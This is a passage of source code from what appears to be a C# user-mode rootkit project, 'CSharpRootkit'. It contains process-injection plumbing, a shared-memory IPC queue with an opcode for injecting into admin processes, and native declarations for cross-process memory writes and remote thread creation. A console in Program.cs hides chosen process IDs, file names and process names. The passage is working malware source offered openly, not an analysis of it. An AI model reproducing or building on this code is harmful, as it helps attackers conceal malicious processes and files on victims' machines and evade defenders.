282 | return MemoryFileModifier.ReadBoolean(IsInclusionModeRegionStart);
283 | }
284 |
285 | private static RootKitIPCStructs.MemoryInfoTag GetNextAddAvailbleDataSpot(int dataLength)
286 | {
287 | long currentPos = ClientCommandsRegionStart;
288 | while (currentPos < ClientCommandsRegionEnd)
289 | {
290 | int structLength = MemoryFileModifier.ReadInt32(currentPos);
291 | if (structLength == 0) // Free region, need to find the next region and make sure it doesn't overwrite
292 | {
293 | long tempCurrentPos = currentPos;
294 |
295 | while (tempCurrentPos < ClientCommandsRegionEnd && (tempCurrentPos - currentPos) < dataLength)
296 | {
297 | if (MemoryFileModifier.ReadByte(tempCurrentPos) != 0)
298 | {
299 | break;
300 | }
301 | tempCurrentPos++;
302 | }
303 | long RegionSize = tempCurrentPos - currentPos;
304 | if (dataLength <= RegionSize)
305 | {
306 | return new RootKitIPCStructs.MemoryInfoTag { StartRegion = currentPos, EndRegion = currentPos + dataLength, HasRegion = true };
307 | }
308 | else
309 | {
310 | currentPos = tempCurrentPos;
311 |
312 | if (currentPos >= ClientCommandsRegionEnd)
313 | {
314 | break;
315 | }
316 |
317 | structLength = MemoryFileModifier.ReadInt32(currentPos);
318 | }
319 | }
320 | currentPos += structLength + 4; // +4 for the starting int
321 | }
322 | return new RootKitIPCStructs.MemoryInfoTag { StartRegion = 0, EndRegion = 0, HasRegion = false };
323 | }
324 |
325 | private static RootKitIPCStructs.MemoryInfoTag AddClientRegionCommandData(RootKitIPCStructs.ServerOpcodeEnum opcode, T data)
326 | {
327 | using (Mutex mutex = new Mutex(false, ClientCommandRegionMutex, out bool createdNew, MutexSecuritySettings))
328 | {
329 | try
330 | {
331 | mutex.WaitOne();
332 | byte[] TData = Utils.StructToBytes(data);
333 | int payloadLength = TData.Length + 1;//+1 for the opcode which should be 1 byte
334 | byte[] payloadData = Utils.CombineByteArrays(BitConverter.GetBytes(payloadLength), new byte[] { (byte)opcode }, TData);
335 | RootKitIPCStructs.MemoryInfoTag result = GetNextAddAvailbleDataSpot(payloadData.Length);
336 | if (result.HasRegion)
337 | {
338 | MemoryFileModifier.WriteArray(result.StartRegion, payloadData, 0, payloadData.Length);
339 | }
340 | return result;
341 | }
342 | finally
343 | {
344 | mutex.ReleaseMutex();
345 | }
346 | }
347 | }
348 |
349 | private static void RemoveClientRegionCommandData(RootKitIPCStructs.MemoryInfoTag region)
350 | {
351 | byte[] NullData = new byte[region.EndRegion - region.StartRegion];
352 | MemoryFileModifier.WriteArray(region.StartRegion, NullData, 0, NullData.Length);
353 | }
354 |
355 | private static RootKitIPCStructs.ServerCommand[] GetCommands()
356 | {
357 | List commands = new List();
358 | long currentPos = ServerCommandsRegionStart;
359 | while (currentPos < ServerCommandsRegionEnd)
360 | {
361 | int structLength = MemoryFileModifier.ReadInt32(currentPos);
362 |
363 | if (structLength == 0)
364 | {
365 | long tempPos = currentPos;
366 | while (tempPos < ServerCommandsRegionEnd)
367 | {
368 | if (MemoryFileModifier.ReadByte(tempPos) != 0)
369 | {
370 | currentPos = tempPos;
371 | structLength = MemoryFileModifier.ReadInt32(currentPos);
372 | currentPos += 4;
373 | break;
374 | }
375 | tempPos++;
376 | }
377 | if (tempPos >= ServerCommandsRegionEnd)
378 | {
379 | return commands.ToArray();
380 | }
381 | }
382 | else
383 | {
384 | currentPos += 4;
385 | }
386 |
387 | RootKitIPCStructs.MemoryInfoTag location = new RootKitIPCStructs.MemoryInfoTag() { StartRegion = currentPos - 4, EndRegion = currentPos + structLength };//-4 to account the +4 earlier, we only add in the EndRegion as the memoryinfo holds the length header too, so currentPos is currently skipping the he
388 |
389 | RootKitIPCStructs.ClientOpcodeEnum opcode = (RootKitIPCStructs.ClientOpcodeEnum)MemoryFileModifier.ReadByte(currentPos);
390 | currentPos++;
391 | structLength--;
392 | byte[] data = new byte[structLength];
393 | MemoryFileModifier.ReadArray(currentPos, data, 0, data.Length);
394 | commands.Add(new RootKitIPCStructs.ServerCommand() { opcode = opcode, data = data, location= location });
395 | currentPos += structLength;
396 | }
397 | return commands.ToArray();
398 | }
399 |
400 | private static bool IsTaskCompleted(RootKitIPCStructs.MemoryInfoTag taskLocation)
401 | {
402 | long CompletionBoolLocation = taskLocation.StartRegion + 4 + 1 + (int)Marshal.OffsetOf("TaskComplete");//+4 for the length header, +1 for the opcode, +x to offset us to the direct address
403 | return MemoryFileModifier.ReadBoolean(CompletionBoolLocation);
404 | }
405 |
406 | private static bool WaitForTaskComplete(RootKitIPCStructs.MemoryInfoTag taskLocation, int timeout=2000)
407 | {
408 | long CompletionBoolLocation=taskLocation.StartRegion + 4 + 1 + (int)Marshal.OffsetOf("TaskComplete");//+4 for the length header, +1 for the opcode, +x to offset us to the direct address
409 | Stopwatch stopwatch = new Stopwatch();
410 | stopwatch.Start();
411 | while (stopwatch.ElapsedMilliseconds < timeout)
412 | {
413 | if (MemoryFileModifier.ReadBoolean(CompletionBoolLocation))
414 | {
415 | return true;
416 | }
417 | Thread.Sleep(50);
418 | }
419 | return false;
420 | }
421 | private static void MarkTaskComplete(RootKitIPCStructs.MemoryInfoTag taskLocation)
422 | {
423 | long CompletionBoolLocation = taskLocation.StartRegion + 4 + 1 + (int)Marshal.OffsetOf("TaskComplete");//+4 for the length header, +1 for the opcode, +x to offset us to the direct address
424 | MemoryFileModifier.Write(CompletionBoolLocation, true);
425 | }
426 |
427 | public static void NtResumeThread_InjectAdminProcess(int ProcessToInject)
428 | {
429 | if (!started)
430 | {
431 | return;
432 | }
433 | RootKitIPCStructs.MemoryInfoTag commandLocation= AddClientRegionCommandData(RootKitIPCStructs.ServerOpcodeEnum.MimicNtResumeInjectOnAdminProcess, new RootKitIPCStructs.InjectProcessInfo() { ProcessToInject = ProcessToInject, TaskComplete = false });
434 | WaitForTaskComplete(commandLocation, 3000);
435 | //Console.WriteLine("admin injected!?!");
436 | //remove task from queue
437 | }
438 |
439 | public static bool IsAgainstInclusionExclusionRules(int pid)
440 | {
441 | if (!started)
442 | {
443 | return true;
444 | //throw new Exception("This interface has not been started!");
445 | }
446 |
447 |
448 | bool isInclusion = IsInclusionMode();
449 |
450 | if (Utils.GetFilePathOfProcess(pid, out string fullFilePath))
451 | {
452 | string processName = Path.GetFileName(fullFilePath).ToLower();
453 | string[] InclusionExclusionPathNamesCopy = InjectProcessPathInclusionExclusionList.ToArray();
454 | string[] InclusionExclusionProcessNamesCopy = InjectProcessNameInclusionExclusionList.ToArray();
455 |
456 | foreach (string path in InclusionExclusionPathNamesCopy)
457 | {
458 | if (Utils.ComparePaths(path, fullFilePath))
459 | {
460 | return !isInclusion;
461 | }
462 | }
463 |
464 | foreach (string name in InjectProcessNameInclusionExclusionList)
465 | {
466 | if (processName == name)
467 | {
468 | return !isInclusion;
469 | }
470 | }
471 |
472 | }
473 | else
474 | {
475 | return !isInclusion;
476 | }
477 |
478 | return isInclusion;
479 |
480 |
481 | }
482 |
483 | public static bool IsAgainstInclusionExclusionRules(IntPtr hProcess)
484 | {
485 | if (!started)
486 | {
487 | return true;
488 | //throw new Exception("This interface has not been started!");
489 | }
490 |
491 | bool isInclusion = IsInclusionMode();
492 |
493 | if (Utils.GetFilePathOfProcess(hProcess, out string fullFilePath))
494 | {
495 | string processName = Path.GetFileName(fullFilePath).ToLower();
496 | string[] InclusionExclusionPathNamesCopy = InjectProcessPathInclusionExclusionList.ToArray();
497 | string[] InclusionExclusionProcessNamesCopy = InjectProcessNameInclusionExclusionList.ToArray();
498 |
499 | foreach (string path in InclusionExclusionPathNamesCopy)
500 | {
501 | if (Utils.ComparePaths(path, fullFilePath))
502 | {
503 | return !isInclusion;
504 | }
505 | }
506 |
507 | foreach (string name in InjectProcessNameInclusionExclusionList)
508 | {
509 | if (processName == name)
510 | {
511 | return !isInclusion;
512 | }
513 | }
514 |
515 | }
516 | else
517 | {
518 | return !isInclusion;
519 | }
520 | return isInclusion;
521 | }
522 |
523 |
524 | }
525 | }
526 |
--------------------------------------------------------------------------------
/CSharpRootkit/NativeMethods/DbgInterface.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace CSharpRootkit
9 | {
10 | public class DbgInterface
11 | {
12 | [ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("27fe5639-8407-4f47-8364-ee118fb08ac8")]
13 | public interface IDebugClient
14 | {
15 | int D00(); int D01(); int D02(); int D03(); int D04();
16 | int D05(); int D06(); int D07(); int D08(); [PreserveSig]
17 | uint AttachProcess(
18 | [In] ulong Server,
19 | [In] uint pid,
20 | [In] uint flags);
21 | int D10();
22 |
23 | int D11(); int D12(); int D13(); int D14();
24 | int D15(); int D16();
25 |
26 | int D17(); int D18(); int D19(); int D20(); int D21();
27 | int D22(); int D23(); int D24(); int D25(); int D26();
28 | int D27(); int D28(); int D29(); int D30(); int D31();
29 |
30 | }
31 |
32 | [ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("5182e668-105e-416e-ad92-24ef800424ba")]
33 | public interface IDebugControl
34 | {
35 | int D01(); int D02(); int D03(); int D04(); int D05();
36 | int D06(); int D07(); int D08(); int D09(); int D10();
37 | int D11(); int D12(); int D13(); int D14(); int D15();
38 | int D16(); int D17(); int D18(); int D19(); int D20();
39 | int D21(); int D22(); int D23();
40 | [PreserveSig]
41 | uint Disassemble(
42 | [In] ulong Offset,
43 | [In] uint Flags,
44 | [Out, MarshalAs(UnmanagedType.LPStr)] StringBuilder Buffer,
45 | [In] uint BufferSize,
46 | [Out] out uint DisassemblySize,
47 | [Out] out ulong EndOffset);
48 | int D25();
49 | int D26(); int D27(); int D28(); int D29(); int D30();
50 | int D31(); int D32(); int D33(); int D34(); int D35();
51 | int D36(); int D37(); int D38(); int D39(); int D40();
52 | int D41(); int D42(); int D43(); int D44(); int D45();
53 | int D46(); int D47(); [PreserveSig]
54 | uint SetExecutionStatus(uint Status); int D49(); int D50();
55 | int D51(); int D52(); int D53(); int D54(); int D55();
56 | int D56(); int D57(); int D58(); int D59(); int D60();
57 | int D61(); int D62(); int D63();
58 | int D64();
59 | int D65(); int D66(); int D67(); int D68(); int D69(); int D70();
60 | int D71(); int D72(); int D73(); int D74(); int D75();
61 | int D76(); int D77(); int D78(); int D79(); int D80();
62 | int D81(); int D82(); int D83(); int D84(); int D85();
63 | int D86(); int D87(); int D88(); int D89(); int D90();
64 | [PreserveSig]
65 | uint WaitForEvent(
66 | [In] int wait,
67 | [In] int timeout);
68 |
69 | }
70 |
71 | [DllImport("dbgeng.dll", SetLastError = true)]
72 | public static extern int DebugCreate(ref Guid refId, out DbgInterface.IDebugClient ptr);
73 |
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/CSharpRootkit/NativeMethods/NativeMethods.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Runtime.InteropServices.ComTypes;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 | using static CSharpRootkit.InternalStructs;
9 |
10 | namespace CSharpRootkit
11 | {
12 | public class NativeMethods
13 | {
14 | [DllImport("kernel32.dll", SetLastError = true)]
15 | public static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process);
16 |
17 | [DllImport("kernel32.dll", SetLastError = true)]
18 | public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
19 |
20 | [DllImport("kernel32.dll", SetLastError = true)]
21 | public static extern bool CloseHandle(IntPtr hProcess);
22 |
23 | [DllImport("kernel32.dll")]
24 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
25 |
26 | [DllImport("kernel32.dll", SetLastError = true)]
27 | public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
28 | IntPtr hSourceHandle,
29 | IntPtr hTargetProcessHandle,
30 | ref IntPtr lpTargetHandle,
31 | uint dwDesiredAccess,
32 | bool bInheritHandle,
33 | uint dwOptions
34 | );
35 |
36 | [DllImport("kernel32.dll", SetLastError = true)]
37 | public static extern bool ReadProcessMemory(
38 | IntPtr hProcess,
39 | IntPtr lpBaseAddress,
40 | IntPtr lpBuffer,
41 | UIntPtr dwSize,
42 | ref UIntPtr lpNumberOfBytesRead
43 | );
44 | [DllImport("kernel32.dll", SetLastError = true)]
45 | public static extern IntPtr GetCurrentProcess();
46 | [DllImport("kernel32.dll", SetLastError = true)]
47 | public static extern uint GetCurrentProcessId();
48 |
49 | [DllImport("kernel32.dll", SetLastError = true)]
50 | public static extern uint GetThreadId(IntPtr Thread);
51 |
52 | [DllImport("kernel32.dll", SetLastError = true)]
53 | public static extern uint SuspendThread(IntPtr Thread);
54 |
55 | [DllImport("kernel32.dll", SetLastError = true)]
56 | public static extern uint ResumeThread(IntPtr Thread);
57 |
58 |
59 | [DllImport("kernel32.dll", SetLastError = true)]
60 | public static extern uint GetCurrentThreadId();
61 |
62 |
63 |
64 | [DllImport("ntdll.dll", SetLastError = true)]
65 | public static extern uint NtGetNextThread(IntPtr ProcessHandle, IntPtr ThreadHandle, uint DesiredAccess, uint HandleAttributes, uint Flags, out IntPtr NewThreadHandle);
66 |
67 | [DllImport("ntdll.dll", SetLastError = true)]
68 | public static extern uint NtWaitForSingleObject(IntPtr Handle, bool Alertable, IntPtr TimeOut);
69 |
70 | [DllImport("ntdll.dll", SetLastError = true)]
71 | public static extern uint NtQueryInformationThread(IntPtr threadHandle, THREADINFOCLASS threadInformationClass, IntPtr threadInformation, uint threadInformationLength, out uint returnLength);
72 |
73 | [DllImport("kernel32.dll", SetLastError = true)]
74 | public static extern void SetLastError(uint dwErrCode);
75 |
76 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtQueryInformationProcess")]
77 | private static extern int _NtQueryPbi32(
78 | IntPtr ProcessHandle,
79 | InternalStructs.PROCESSINFOCLASS ProcessInformationClass,
80 | ref InternalStructs.PROCESS_BASIC_INFORMATION ProcessInformation,
81 | uint BufferSize,
82 | ref uint NumberOfBytesRead);
83 |
84 | public static int NtQueryPbi32(IntPtr ProcessHandle,
85 | InternalStructs.PROCESSINFOCLASS ProcessInformationClass,
86 | ref InternalStructs.PROCESS_BASIC_INFORMATION ProcessInformation,
87 | uint BufferSize,
88 | ref uint NumberOfBytesRead)
89 | {
90 | int result = _NtQueryPbi32(ProcessHandle, ProcessInformationClass, ref ProcessInformation, BufferSize, ref NumberOfBytesRead);
91 | if (Environment.Is64BitProcess)
92 | {
93 | ProcessInformation.PebBaseAddress += Environment.SystemPageSize;//when im a 64bit process the PebBaseAddress will be the address of the 64bit peb, i need to 32bit peb which shoud be exactly 1 page size away
94 | }
95 | return result;
96 | }
97 |
98 |
99 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtQueryInformationProcess")]
100 | public static extern int NtQueryPbi64From64(
101 | IntPtr ProcessHandle,
102 | InternalStructs.PROCESSINFOCLASS ProcessInformationClass,
103 | ref InternalStructs.PROCESS_BASIC_INFORMATION ProcessInformation,
104 | uint BufferSize,
105 | ref uint NumberOfBytesRead);
106 |
107 |
108 | [DllImport("kernel32.dll", SetLastError = true)]
109 | public static extern bool IsProcessCritical(IntPtr hProcess, out bool Critical);
110 |
111 | [DllImport("advapi32.dll", SetLastError = true)]
112 | public static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority);
113 |
114 | [DllImport("advapi32.dll", SetLastError = true)]
115 | public static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid);
116 |
117 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
118 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
119 |
120 | [DllImport("kernel32.dll", SetLastError = true)]
121 | public static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);
122 |
123 | [DllImport("kernel32.dll", SetLastError = true)]
124 | public static extern int VirtualQuery(IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
125 |
126 | [DllImport("kernel32.dll", SetLastError = true)]
127 | public static extern bool VirtualFree(IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);
128 |
129 | [DllImport("kernel32.dll", SetLastError = true)]
130 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
131 |
132 | [DllImport("kernel32.dll", SetLastError = true)]
133 | public static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);
134 |
135 | [DllImport("kernel32.dll", SetLastError = true)]
136 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, IntPtr nSize, out IntPtr lpNumberOfBytesWritten);
137 |
138 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
139 | public static extern IntPtr LoadLibraryW(string LibraryName);
140 |
141 | [DllImport("kernel32.dll", SetLastError = true)]
142 | public static extern IntPtr GetProcAddress(IntPtr hmodule, string procName);
143 |
144 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
145 | public static extern IntPtr GetModuleHandleW(string lpModuleName);
146 |
147 | [DllImport("kernel32.dll")]
148 | public static extern InternalStructs.FileType GetFileType(IntPtr hFile);
149 |
150 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
151 | public static extern uint GetFinalPathNameByHandleW(IntPtr hFile, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags);
152 |
153 | [DllImport("kernel32.dll", SetLastError = false)]
154 | public static extern void CopyMemory(IntPtr dest, IntPtr src, UIntPtr count);
155 |
156 | [DllImport("ntdll.dll", SetLastError = true)]
157 | public static extern uint NtSuspendThread(IntPtr ThreadHandle, IntPtr PreviousSuspendCount);
158 |
159 | [DllImport("ntdll.dll", SetLastError = true)]
160 | public static extern uint NtResumeThread(IntPtr ThreadHandle, IntPtr SuspendCount);
161 |
162 | [DllImport("ntdll.dll", SetLastError = true)]
163 | public static extern uint NtCreateThreadEx(ref IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool inCreateSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList);
164 |
165 | [DllImport("kernel32.dll", SetLastError = true)]
166 | public static extern uint GetProcessIdOfThread(IntPtr handle);
167 |
168 | [DllImport("advapi32.dll", SetLastError = true)]
169 | public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
170 |
171 | [DllImport("advapi32.dll", SetLastError = true)]
172 | public static extern bool GetTokenInformation(IntPtr TokenHandle, int TokenInformationClass, IntPtr TokenInformation, int TokenInformationLength, out int ReturnLength);
173 |
174 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
175 | public static extern bool QueryFullProcessImageNameW(IntPtr hProcess, uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpExeName, ref uint lpdwSize);
176 |
177 | [DllImport("kernel32.dll")]
178 | public static extern bool AllocConsole();
179 |
180 | }
181 | }
182 |
--------------------------------------------------------------------------------
/CSharpRootkit/NativeMethods/SpecialNativeMethods.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using static CSharpRootkit.InternalStructs;
8 | using static CSharpRootkit.InternalStructs64;
9 |
10 | namespace CSharpRootkit
11 | {
12 | public class SpecialNativeMethods
13 | {
14 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint= "NtWow64QueryInformationProcess64")]
15 | public static extern int NtQueryPBI64From32(
16 | IntPtr ProcessHandle,
17 | PROCESSINFOCLASS ProcessInformationClass,
18 | ref PROCESS_BASIC_INFORMATION64 ProcessInformation,
19 | uint BufferSize,
20 | ref uint NumberOfBytesRead);
21 |
22 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtWow64ReadVirtualMemory64")]
23 | public static extern int ReadProcessMemory64From32(
24 | IntPtr ProcessHandle,
25 | ulong BaseAddress,
26 | IntPtr Buffer,
27 | ulong BufferSize,
28 | ref ulong NumberOfBytesWritten);
29 |
30 |
31 | [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtWow64WriteVirtualMemory64")]
32 | public static extern int WriteProcessMemory64From32(
33 | IntPtr ProcessHandle,
34 | ulong BaseAddress,
35 | IntPtr Buffer,
36 | ulong BufferSize,
37 | ref ulong NumberOfBytesWritten);
38 |
39 |
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/CSharpRootkit/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Reflection;
7 | using System.Runtime.InteropServices;
8 | using System.Security.Cryptography;
9 | using System.Text;
10 | using System.Threading;
11 | using System.Threading.Tasks;
12 | using System.Windows.Forms;
13 |
14 | namespace CSharpRootkit
15 | {
16 | public class Program
17 | {
18 | static void Main(string[] args)
19 | {
20 | Console.ReadLine();
21 |
22 | RootKitInterface.Start(true);
23 | RootKitInterface.AddInclusionExclusionFilePath(Assembly.GetEntryAssembly().Location);
24 | RootKitInterface.AddInclusionExclusionProcessName("msbuild.exe");
25 | RootKitInterface.AddInclusionExclusionProcessName("devenv.exe");
26 | //Console.ReadLine();
27 | AutoInjector.Start(InjectionEntryPoint);
28 |
29 |
30 |
31 | Console.WriteLine("injected all");
32 | Console.WriteLine("pid, filename, processname, stop");
33 | while (RootKitInterface.started)
34 | {
35 | Console.Write("Enter command: ");
36 | string commmand=Console.ReadLine();
37 | if (commmand == "pid")
38 | {
39 | RootKitInterface.HidePid(int.Parse(Console.ReadLine()));
40 | }
41 | else if (commmand == "filename")
42 | {
43 | RootKitInterface.HideFileName(Console.ReadLine());
44 | }
45 | else if (commmand == "processname")
46 | {
47 | RootKitInterface.HideProcessName(Console.ReadLine());
48 | }
49 | else if (commmand == "stop")
50 | {
51 | break;
52 | }
53 | else
54 | {
55 | Console.WriteLine("unknown command");
56 | }
57 | }
58 | Console.WriteLine("done.");
59 |
60 | AutoInjector.Stop();
61 | RootKitInterface.Stop();
62 | Console.ReadLine();
63 | }
64 |
65 |
66 | public static void InjectionEntryPoint()
67 | {
68 | //we do this as there a weird issue when injeting from admin into a user process, in the Utils constructor it starts the IDebugClient and IDebugControl, we need these to get the assembly code for the function hooking.
69 | //the problem is it takes upward of 5 seconds to start up when injecting from admin -> user, which makes no sense to me. I'm guessing starting the thread is inheriting some admin properties which messes stuff up internally for the IDebugControl.
70 | //my solution it to start a new thread and let the old one die, this appears to fix it, im guessing because it starts it with the proper thread attributes for the given process.
71 | //if anyone knows a real reason why and a solution, hit me up.
72 | new Thread(InjectionStartingPoint).Start();
73 | }
74 |
75 | public static void InjectionStartingPoint()
76 | {
77 | //NativeMethods.AllocConsole();
78 | //Console.WriteLine("om");
79 | if (!Utils.setInjectionFlag(out bool alreadyInjected) || alreadyInjected)
80 | {
81 | return;
82 | }
83 | RootKitClientInterface.Start();
84 | }
85 |
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/CSharpRootkit/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("CSharpRootkit")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("CSharpRootkit")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("685773d1-ebe7-4766-a087-b3cdca590677")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/CSharpRootkit/Structs/InternalStructs.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using static CSharpRootkit.InternalStructs;
8 |
9 | namespace CSharpRootkit
10 | {
11 | public class InternalStructs
12 | {
13 | public enum PROCESSINFOCLASS : uint
14 | {
15 | ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
16 | ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
17 | ProcessIoCounters, // q: IO_COUNTERS
18 | ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2
19 | ProcessTimes, // q: KERNEL_USER_TIMES
20 | ProcessBasePriority, // s: KPRIORITY
21 | ProcessRaisePriority, // s: ULONG
22 | ProcessDebugPort, // q: HANDLE
23 | ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT
24 | ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
25 | ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10
26 | ProcessLdtSize, // s: PROCESS_LDT_SIZE
27 | ProcessDefaultHardErrorMode, // qs: ULONG
28 | ProcessIoPortHandlers, // (kernel-mode only)
29 | ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
30 | ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
31 | ProcessUserModeIOPL,
32 | ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
33 | ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
34 | ProcessWx86Information,
35 | ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20
36 | ProcessAffinityMask, // s: KAFFINITY
37 | ProcessPriorityBoost, // qs: ULONG
38 | ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
39 | ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
40 | ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
41 | ProcessWow64Information, // q: ULONG_PTR
42 | ProcessImageFileName, // q: UNICODE_STRING
43 | ProcessLUIDDeviceMapsEnabled, // q: ULONG
44 | ProcessBreakOnTermination, // qs: ULONG
45 | ProcessDebugObjectHandle, // q: HANDLE // 30
46 | ProcessDebugFlags, // qs: ULONG
47 | ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
48 | ProcessIoPriority, // qs: IO_PRIORITY_HINT
49 | ProcessExecuteFlags, // qs: ULONG
50 | ProcessResourceManagement, // ProcessTlsInformation // PROCESS_TLS_INFORMATION
51 | ProcessCookie, // q: ULONG
52 | ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
53 | ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA
54 | ProcessPagePriority, // q: PAGE_PRIORITY_INFORMATION
55 | ProcessInstrumentationCallback, // qs: PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40
56 | ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
57 | ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
58 | ProcessImageFileNameWin32, // q: UNICODE_STRING
59 | ProcessImageFileMapping, // q: HANDLE (input)
60 | ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
61 | ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
62 | ProcessGroupInformation, // q: USHORT[]
63 | ProcessTokenVirtualizationEnabled, // s: ULONG
64 | ProcessConsoleHostProcess, // q: ULONG_PTR // ProcessOwnerInformation
65 | ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50
66 | ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
67 | ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
68 | ProcessDynamicFunctionTableInformation,
69 | ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables
70 | ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
71 | ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
72 | ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL
73 | ProcessHandleTable, // q: ULONG[] // since WINBLUE
74 | ProcessCheckStackExtentsMode,
75 | ProcessCommandLineInformation, // q: UNICODE_STRING // 60
76 | ProcessProtectionInformation, // q: PS_PROTECTION
